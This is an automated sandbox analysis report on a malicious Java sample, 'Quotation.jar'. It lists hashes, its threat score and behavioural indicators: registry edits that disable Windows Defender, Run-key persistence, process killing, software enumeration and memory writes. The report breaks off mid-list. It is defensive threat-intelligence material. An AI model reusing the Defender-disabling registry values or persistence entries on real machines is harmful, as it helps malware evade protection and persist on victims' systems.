Analysis
-
max time kernel
137s -
max time network
148s -
platform
windows7_x64 -
resource
win7v200430 -
submitted
07-07-2020 10:02
Static task
static1
Behavioral task
behavioral1
Sample
Quotation.jar
Resource
win7v200430
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Quotation.jar
Resource
win10
windows10_x64
0 signatures
0 seconds
General
-
Target
Quotation.jar
-
Size
402KB
-
MD5
fd50183db6b1d898c6c03fb37addd1d4
-
SHA1
39dcdc068ae5b59a92cd2c9fe9ded56e45a8c77c
-
SHA256
1cb6a24bc3f30996150c4c737cf2bc33e5a04741a93e516d6504dd8602f5f843
-
SHA512
c0c5a8091fdca57e0097503d15d08872f022d91dc7fc343d56d2071e5519f32803b723d6f7da88b70364da5d6abd2157d9024e3a380ab83f22bfc5ac27634fa2
Score
10/10
Malware Config
Signatures
-
Kills process with taskkill 16 IoCs
pid Process 2324 taskkill.exe 2028 taskkill.exe 360 taskkill.exe 2968 taskkill.exe 2024 taskkill.exe 1004 taskkill.exe 2604 taskkill.exe 2132 taskkill.exe 1840 taskkill.exe 1596 taskkill.exe 2936 taskkill.exe 2808 taskkill.exe 2324 taskkill.exe 2488 taskkill.exe 2552 taskkill.exe 1396 taskkill.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe -
Checks for installed software on the system 1 TTPs 52 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-040C-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0115-0409-1000-0000000FF1CE}\DisplayName reg.exe Key enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364\DisplayName reg.exe Key opened \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\software\microsoft\windows\currentversion\uninstall reg.exe Key opened \REGISTRY\MACHINE\software\microsoft\windows\currentversion\uninstall reg.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall reg.exe Key enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0043-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 75.0 (x64 en-US)\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0117-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0043-0000-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-006E-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName reg.exe Key opened \REGISTRY\MACHINE\software\Wow6432Node\microsoft\windows\currentversion\uninstall reg.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall reg.exe Key opened \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\software\microsoft\windows\currentversion\uninstall reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}\DisplayName reg.exe -
Adds Run entry to start application 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce java.exe Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\vLuXErv = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\osDbp\\VNDAi.class\"" java.exe Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Windows\CurrentVersion\Run java.exe Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\Windows\CurrentVersion\Run\vLuXErv = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\osDbp\\VNDAi.class\"" java.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1032 java.exe -
Suspicious use of AdjustPrivilegeToken 137 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1788 WMIC.exe Token: SeSecurityPrivilege 1788 WMIC.exe Token: SeTakeOwnershipPrivilege 1788 WMIC.exe Token: SeLoadDriverPrivilege 1788 WMIC.exe Token: SeSystemProfilePrivilege 1788 WMIC.exe Token: SeSystemtimePrivilege 1788 WMIC.exe Token: SeProfSingleProcessPrivilege 1788 WMIC.exe Token: SeIncBasePriorityPrivilege 1788 WMIC.exe Token: SeCreatePagefilePrivilege 1788 WMIC.exe Token: SeBackupPrivilege 1788 WMIC.exe Token: SeRestorePrivilege 1788 WMIC.exe Token: SeShutdownPrivilege 1788 WMIC.exe Token: SeDebugPrivilege 1788 WMIC.exe Token: SeSystemEnvironmentPrivilege 1788 WMIC.exe Token: SeRemoteShutdownPrivilege 1788 WMIC.exe Token: SeUndockPrivilege 1788 WMIC.exe Token: SeManageVolumePrivilege 1788 WMIC.exe Token: 33 1788 WMIC.exe Token: 34 1788 WMIC.exe Token: 35 1788 WMIC.exe Token: SeIncreaseQuotaPrivilege 1788 WMIC.exe Token: SeSecurityPrivilege 1788 WMIC.exe Token: SeTakeOwnershipPrivilege 1788 WMIC.exe Token: SeLoadDriverPrivilege 1788 WMIC.exe Token: SeSystemProfilePrivilege 1788 WMIC.exe Token: SeSystemtimePrivilege 1788 WMIC.exe Token: SeProfSingleProcessPrivilege 1788 WMIC.exe Token: SeIncBasePriorityPrivilege 1788 WMIC.exe Token: SeCreatePagefilePrivilege 1788 WMIC.exe Token: SeBackupPrivilege 1788 WMIC.exe Token: SeRestorePrivilege 1788 WMIC.exe Token: SeShutdownPrivilege 1788 WMIC.exe Token: SeDebugPrivilege 1788 WMIC.exe Token: SeSystemEnvironmentPrivilege 1788 WMIC.exe Token: SeRemoteShutdownPrivilege 1788 WMIC.exe Token: SeUndockPrivilege 1788 WMIC.exe Token: SeManageVolumePrivilege 1788 WMIC.exe Token: 33 1788 WMIC.exe Token: 34 1788 WMIC.exe Token: 35 1788 WMIC.exe Token: SeIncreaseQuotaPrivilege 1836 WMIC.exe Token: SeSecurityPrivilege 1836 WMIC.exe Token: SeTakeOwnershipPrivilege 1836 WMIC.exe Token: SeLoadDriverPrivilege 1836 WMIC.exe Token: SeSystemProfilePrivilege 1836 WMIC.exe Token: SeSystemtimePrivilege 1836 WMIC.exe Token: SeProfSingleProcessPrivilege 1836 WMIC.exe Token: SeIncBasePriorityPrivilege 1836 WMIC.exe Token: SeCreatePagefilePrivilege 1836 WMIC.exe Token: SeBackupPrivilege 1836 WMIC.exe Token: SeRestorePrivilege 1836 WMIC.exe Token: SeShutdownPrivilege 1836 WMIC.exe Token: SeDebugPrivilege 1836 WMIC.exe Token: SeSystemEnvironmentPrivilege 1836 WMIC.exe Token: SeRemoteShutdownPrivilege 1836 WMIC.exe Token: SeUndockPrivilege 1836 WMIC.exe Token: SeManageVolumePrivilege 1836 WMIC.exe Token: 33 1836 WMIC.exe Token: 34 1836 WMIC.exe Token: 35 1836 WMIC.exe Token: SeIncreaseQuotaPrivilege 1836 WMIC.exe Token: SeSecurityPrivilege 1836 WMIC.exe Token: SeTakeOwnershipPrivilege 1836 WMIC.exe Token: SeLoadDriverPrivilege 1836 WMIC.exe Token: SeSystemProfilePrivilege 1836 WMIC.exe Token: SeSystemtimePrivilege 1836 WMIC.exe Token: SeProfSingleProcessPrivilege 1836 WMIC.exe Token: SeIncBasePriorityPrivilege 1836 WMIC.exe Token: SeCreatePagefilePrivilege 1836 WMIC.exe Token: SeBackupPrivilege 1836 WMIC.exe Token: SeRestorePrivilege 1836 WMIC.exe Token: SeShutdownPrivilege 1836 WMIC.exe Token: SeDebugPrivilege 1836 WMIC.exe Token: SeSystemEnvironmentPrivilege 1836 WMIC.exe Token: SeRemoteShutdownPrivilege 1836 WMIC.exe Token: SeUndockPrivilege 1836 WMIC.exe Token: SeManageVolumePrivilege 1836 WMIC.exe Token: 33 1836 WMIC.exe Token: 34 1836 WMIC.exe Token: 35 1836 WMIC.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeIncreaseQuotaPrivilege 2004 WMIC.exe Token: SeSecurityPrivilege 2004 WMIC.exe Token: SeTakeOwnershipPrivilege 2004 WMIC.exe Token: SeLoadDriverPrivilege 2004 WMIC.exe Token: SeSystemProfilePrivilege 2004 WMIC.exe Token: SeSystemtimePrivilege 2004 WMIC.exe Token: SeProfSingleProcessPrivilege 2004 WMIC.exe Token: SeIncBasePriorityPrivilege 2004 WMIC.exe Token: SeCreatePagefilePrivilege 2004 WMIC.exe Token: SeBackupPrivilege 2004 WMIC.exe Token: SeRestorePrivilege 2004 WMIC.exe Token: SeShutdownPrivilege 2004 WMIC.exe Token: SeDebugPrivilege 2004 WMIC.exe Token: SeSystemEnvironmentPrivilege 2004 WMIC.exe Token: SeRemoteShutdownPrivilege 2004 WMIC.exe Token: SeUndockPrivilege 2004 WMIC.exe Token: SeManageVolumePrivilege 2004 WMIC.exe Token: 33 2004 WMIC.exe Token: 34 2004 WMIC.exe Token: 35 2004 WMIC.exe Token: SeIncreaseQuotaPrivilege 2004 WMIC.exe Token: SeSecurityPrivilege 2004 WMIC.exe Token: SeTakeOwnershipPrivilege 2004 WMIC.exe Token: SeLoadDriverPrivilege 2004 WMIC.exe Token: SeSystemProfilePrivilege 2004 WMIC.exe Token: SeSystemtimePrivilege 2004 WMIC.exe Token: SeProfSingleProcessPrivilege 2004 WMIC.exe Token: SeIncBasePriorityPrivilege 2004 WMIC.exe Token: SeCreatePagefilePrivilege 2004 WMIC.exe Token: SeBackupPrivilege 2004 WMIC.exe Token: SeRestorePrivilege 2004 WMIC.exe Token: SeShutdownPrivilege 2004 WMIC.exe Token: SeDebugPrivilege 2004 WMIC.exe Token: SeSystemEnvironmentPrivilege 2004 WMIC.exe Token: SeRemoteShutdownPrivilege 2004 WMIC.exe Token: SeUndockPrivilege 2004 WMIC.exe Token: SeManageVolumePrivilege 2004 WMIC.exe Token: 33 2004 WMIC.exe Token: 34 2004 WMIC.exe Token: 35 2004 WMIC.exe Token: SeDebugPrivilege 1004 taskkill.exe Token: SeDebugPrivilege 2024 taskkill.exe Token: SeDebugPrivilege 2324 taskkill.exe Token: SeDebugPrivilege 2604 taskkill.exe Token: SeDebugPrivilege 2936 taskkill.exe Token: SeDebugPrivilege 2132 taskkill.exe Token: SeDebugPrivilege 1840 taskkill.exe Token: SeDebugPrivilege 2808 taskkill.exe Token: SeDebugPrivilege 2028 taskkill.exe Token: SeDebugPrivilege 2324 taskkill.exe Token: SeDebugPrivilege 2488 taskkill.exe Token: SeDebugPrivilege 360 taskkill.exe Token: SeDebugPrivilege 1396 taskkill.exe Token: SeDebugPrivilege 2968 taskkill.exe Token: SeDebugPrivilege 2552 taskkill.exe Token: SeDebugPrivilege 1596 taskkill.exe -
Loads dropped DLL 1 IoCs
pid Process 1032 java.exe -
Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\System32\KbzKV java.exe File opened for modification C:\Windows\System32\KbzKV java.exe -
Views/modifies file attributes 1 TTPs 8 IoCs
pid Process 1600 attrib.exe 1572 attrib.exe 1568 attrib.exe 1624 attrib.exe 1900 attrib.exe 1904 attrib.exe 540 attrib.exe 616 attrib.exe -
Drops desktop.ini file(s) 4 IoCs
description ioc Process File created C:\Users\Admin\osDbp\Desktop.ini java.exe File opened for modification C:\Users\Admin\osDbp\Desktop.ini attrib.exe File opened for modification C:\Users\Admin\osDbp\Desktop.ini attrib.exe File opened for modification C:\Users\Admin\osDbp\Desktop.ini java.exe -
Suspicious use of WriteProcessMemory 759 IoCs
description pid Process procid_target PID 1032 wrote to memory of 1772 1032 java.exe 25 PID 1032 wrote to memory of 1772 1032 java.exe 25 PID 1032 wrote to memory of 1772 1032 java.exe 25 PID 1032 wrote to memory of 1784 1032 java.exe 26 PID 1032 wrote to memory of 1784 1032 java.exe 26 PID 1032 wrote to memory of 1784 1032 java.exe 26 PID 1784 wrote to memory of 1788 1784 cmd.exe 27 PID 1784 wrote to memory of 1788 1784 cmd.exe 27 PID 1784 wrote to memory of 1788 1784 cmd.exe 27 PID 1032 wrote to memory of 1824 1032 java.exe 28 PID 1032 wrote to memory of 1824 1032 java.exe 28 PID 1032 wrote to memory of 1824 1032 java.exe 28 PID 1824 wrote to memory of 1836 1824 cmd.exe 29 PID 1824 wrote to memory of 1836 1824 cmd.exe 29 PID 1824 wrote to memory of 1836 1824 cmd.exe 29 PID 1032 wrote to memory of 1900 1032 java.exe 30 PID 1032 wrote to memory of 1900 1032 java.exe 30 PID 1032 wrote to memory of 1900 1032 java.exe 30 PID 1032 wrote to memory of 1904 1032 java.exe 31 PID 1032 wrote to memory of 1904 1032 java.exe 31 PID 1032 wrote to memory of 1904 1032 java.exe 31 PID 1032 wrote to memory of 540 1032 java.exe 34 PID 1032 wrote to memory of 540 1032 java.exe 34 PID 1032 wrote to memory of 540 1032 java.exe 34 PID 1032 wrote to memory of 616 1032 java.exe 35 PID 1032 wrote to memory of 616 1032 java.exe 35 PID 1032 wrote to memory of 616 1032 java.exe 35 PID 1032 wrote to memory of 1600 1032 java.exe 36 PID 1032 wrote to memory of 1600 1032 java.exe 36 PID 1032 wrote to memory of 1600 1032 java.exe 36 PID 1032 wrote to memory of 1572 1032 java.exe 37 PID 1032 wrote to memory of 1572 1032 java.exe 37 PID 1032 wrote to memory of 1572 1032 java.exe 37 PID 1032 wrote to memory of 1568 1032 java.exe 38 PID 1032 wrote to memory of 1568 1032 java.exe 38 PID 1032 wrote to memory of 1568 1032 java.exe 38 PID 1032 wrote to memory of 1624 1032 java.exe 39 PID 1032 wrote to memory of 1624 1032 java.exe 39 PID 1032 wrote to memory of 1624 1032 java.exe 39 PID 1032 wrote to memory of 1928 1032 java.exe 40 PID 1032 wrote to memory of 1928 1032 java.exe 40 PID 1032 wrote to memory of 1928 1032 java.exe 40 PID 1032 wrote to memory of 1932 1032 java.exe 41 PID 1032 wrote to memory of 1932 1032 java.exe 41 PID 1032 wrote to memory of 1932 1032 java.exe 41 PID 1032 wrote to memory of 1020 1032 java.exe 43 PID 1032 wrote to memory of 1020 1032 java.exe 43 PID 1032 wrote to memory of 1020 1032 java.exe 43 PID 1032 wrote to memory of 2024 1032 java.exe 44 PID 1032 wrote to memory of 2024 1032 java.exe 44 PID 1032 wrote to memory of 2024 1032 java.exe 44 PID 1032 wrote to memory of 1028 1032 java.exe 45 PID 1032 wrote to memory of 1028 1032 java.exe 45 PID 1032 wrote to memory of 1028 1032 java.exe 45 PID 1928 wrote to memory of 1992 1928 cmd.exe 46 PID 1928 wrote to memory of 1992 1928 cmd.exe 46 PID 1928 wrote to memory of 1992 1928 cmd.exe 46 PID 1032 wrote to memory of 476 1032 java.exe 49 PID 1032 wrote to memory of 476 1032 java.exe 49 PID 1032 wrote to memory of 476 1032 java.exe 49 PID 1032 wrote to memory of 880 1032 java.exe 50 PID 1032 wrote to memory of 880 1032 java.exe 50 PID 1032 wrote to memory of 880 1032 java.exe 50 PID 1032 wrote to memory of 1396 1032 java.exe 51 PID 1032 wrote to memory of 1396 1032 java.exe 51 PID 1032 wrote to memory of 1396 1032 java.exe 51 PID 1032 wrote to memory of 1456 1032 java.exe 52 PID 1032 wrote to memory of 1456 1032 java.exe 52 PID 1032 wrote to memory of 1456 1032 java.exe 52 PID 1032 wrote to memory of 1424 1032 java.exe 53 PID 1032 wrote to memory of 1424 1032 java.exe 53 PID 1032 wrote to memory of 1424 1032 java.exe 53 PID 1032 wrote to memory of 1804 1032 java.exe 54 PID 1032 wrote to memory of 1804 1032 java.exe 54 PID 1032 wrote to memory of 1804 1032 java.exe 54 PID 1032 wrote to memory of 1788 1032 java.exe 56 PID 1032 wrote to memory of 1788 1032 java.exe 56 PID 1032 wrote to memory of 1788 1032 java.exe 56 PID 1032 wrote to memory of 1860 1032 java.exe 57 PID 1032 wrote to memory of 1860 1032 java.exe 57 PID 1032 wrote to memory of 1860 1032 java.exe 57 PID 1032 wrote to memory of 1368 1032 java.exe 59 PID 1032 wrote to memory of 1368 1032 java.exe 59 PID 1032 wrote to memory of 1368 1032 java.exe 59 PID 1032 wrote to memory of 1888 1032 java.exe 60 PID 1032 wrote to memory of 1888 1032 java.exe 60 PID 1032 wrote to memory of 1888 1032 java.exe 60 PID 1032 wrote to memory of 816 1032 java.exe 63 PID 1032 wrote to memory of 816 1032 java.exe 63 PID 1032 wrote to memory of 816 1032 java.exe 63 PID 1032 wrote to memory of 1544 1032 java.exe 65 PID 1032 wrote to memory of 1544 1032 java.exe 65 PID 1032 wrote to memory of 1544 1032 java.exe 65 PID 1032 wrote to memory of 2008 1032 java.exe 67 PID 1032 wrote to memory of 2008 1032 java.exe 67 PID 1032 wrote to memory of 2008 1032 java.exe 67 PID 1032 wrote to memory of 1400 1032 java.exe 69 PID 1032 wrote to memory of 1400 1032 java.exe 69 PID 1032 wrote to memory of 1400 1032 java.exe 69 PID 1032 wrote to memory of 1988 1032 java.exe 71 PID 1032 wrote to memory of 1988 1032 java.exe 71 PID 1032 wrote to memory of 1988 1032 java.exe 71 PID 1032 wrote to memory of 1856 1032 java.exe 72 PID 1032 wrote to memory of 1856 1032 java.exe 72 PID 1032 wrote to memory of 1856 1032 java.exe 72 PID 1032 wrote to memory of 1768 1032 java.exe 74 PID 1032 wrote to memory of 1768 1032 java.exe 74 PID 1032 wrote to memory of 1768 1032 java.exe 74 PID 1856 wrote to memory of 2004 1856 cmd.exe 76 PID 1856 wrote to memory of 2004 1856 cmd.exe 76 PID 1856 wrote to memory of 2004 1856 cmd.exe 76 PID 1032 wrote to memory of 1004 1032 java.exe 77 PID 1032 wrote to memory of 1004 1032 java.exe 77 PID 1032 wrote to memory of 1004 1032 java.exe 77 PID 1032 wrote to memory of 1392 1032 java.exe 78 PID 1032 wrote to memory of 1392 1032 java.exe 78 PID 1032 wrote to memory of 1392 1032 java.exe 78 PID 1032 wrote to memory of 2032 1032 java.exe 80 PID 1032 wrote to memory of 2032 1032 java.exe 80 PID 1032 wrote to memory of 2032 1032 java.exe 80 PID 1928 wrote to memory of 2096 1928 cmd.exe 83 PID 1928 wrote to memory of 2096 1928 cmd.exe 83 PID 1928 wrote to memory of 2096 1928 cmd.exe 83 PID 1032 wrote to memory of 2272 1032 java.exe 92 PID 1032 wrote to memory of 2272 1032 java.exe 92 PID 1032 wrote to memory of 2272 1032 java.exe 92 PID 2272 wrote to memory of 2300 2272 cmd.exe 93 PID 2272 wrote to memory of 2300 2272 cmd.exe 93 PID 2272 wrote to memory of 2300 2272 cmd.exe 93 PID 2272 wrote to memory of 2312 2272 cmd.exe 94 PID 2272 wrote to memory of 2312 2272 cmd.exe 94 PID 2272 wrote to memory of 2312 2272 cmd.exe 94 PID 1032 wrote to memory of 2324 1032 java.exe 95 PID 1032 wrote to memory of 2324 1032 java.exe 95 PID 1032 wrote to memory of 2324 1032 java.exe 95 PID 1032 wrote to memory of 2336 1032 java.exe 96 PID 1032 wrote to memory of 2336 1032 java.exe 96 PID 1032 wrote to memory of 2336 1032 java.exe 96 PID 2336 wrote to memory of 2360 2336 cmd.exe 98 PID 2336 wrote to memory of 2360 2336 cmd.exe 98 PID 2336 wrote to memory of 2360 2336 cmd.exe 98 PID 2336 wrote to memory of 2428 2336 cmd.exe 99 PID 2336 wrote to memory of 2428 2336 cmd.exe 99 PID 2336 wrote to memory of 2428 2336 cmd.exe 99 PID 1032 wrote to memory of 2444 1032 java.exe 100 PID 1032 wrote to memory of 2444 1032 java.exe 100 PID 1032 wrote to memory of 2444 1032 java.exe 100 PID 2444 wrote to memory of 2456 2444 cmd.exe 101 PID 2444 wrote to memory of 2456 2444 cmd.exe 101 PID 2444 wrote to memory of 2456 2444 cmd.exe 101 PID 2444 wrote to memory of 2468 2444 cmd.exe 102 PID 2444 wrote to memory of 2468 2444 cmd.exe 102 PID 2444 wrote to memory of 2468 2444 cmd.exe 102 PID 1032 wrote to memory of 2484 1032 java.exe 103 PID 1032 wrote to memory of 2484 1032 java.exe 103 PID 1032 wrote to memory of 2484 1032 java.exe 103 PID 2484 wrote to memory of 2512 2484 cmd.exe 104 PID 2484 wrote to memory of 2512 2484 cmd.exe 104 PID 2484 wrote to memory of 2512 2484 cmd.exe 104 PID 2484 wrote to memory of 2528 2484 cmd.exe 105 PID 2484 wrote to memory of 2528 2484 cmd.exe 105 PID 2484 wrote to memory of 2528 2484 cmd.exe 105 PID 1032 wrote to memory of 2548 1032 java.exe 106 PID 1032 wrote to memory of 2548 1032 java.exe 106 PID 1032 wrote to memory of 2548 1032 java.exe 106 PID 2548 wrote to memory of 2560 2548 cmd.exe 107 PID 2548 wrote to memory of 2560 2548 cmd.exe 107 PID 2548 wrote to memory of 2560 2548 cmd.exe 107 PID 2548 wrote to memory of 2572 2548 cmd.exe 108 PID 2548 wrote to memory of 2572 2548 cmd.exe 108 PID 2548 wrote to memory of 2572 2548 cmd.exe 108 PID 1032 wrote to memory of 2592 1032 java.exe 109 PID 1032 wrote to memory of 2592 1032 java.exe 109 PID 1032 wrote to memory of 2592 1032 java.exe 109 PID 1032 wrote to memory of 2604 1032 java.exe 110 PID 1032 wrote to memory of 2604 1032 java.exe 110 PID 1032 wrote to memory of 2604 1032 java.exe 110 PID 2592 wrote to memory of 2616 2592 cmd.exe 111 PID 2592 wrote to memory of 2616 2592 cmd.exe 111 PID 2592 wrote to memory of 2616 2592 cmd.exe 111 PID 2592 wrote to memory of 2628 2592 cmd.exe 112 PID 2592 wrote to memory of 2628 2592 cmd.exe 112 PID 2592 wrote to memory of 2628 2592 cmd.exe 112 PID 1032 wrote to memory of 2656 1032 java.exe 114 PID 1032 wrote to memory of 2656 1032 java.exe 114 PID 1032 wrote to memory of 2656 1032 java.exe 114 PID 2656 wrote to memory of 2676 2656 cmd.exe 115 PID 2656 wrote to memory of 2676 2656 cmd.exe 115 PID 2656 wrote to memory of 2676 2656 cmd.exe 115 PID 2656 wrote to memory of 2692 2656 cmd.exe 116 PID 2656 wrote to memory of 2692 2656 cmd.exe 116 PID 2656 wrote to memory of 2692 2656 cmd.exe 116 PID 1032 wrote to memory of 2712 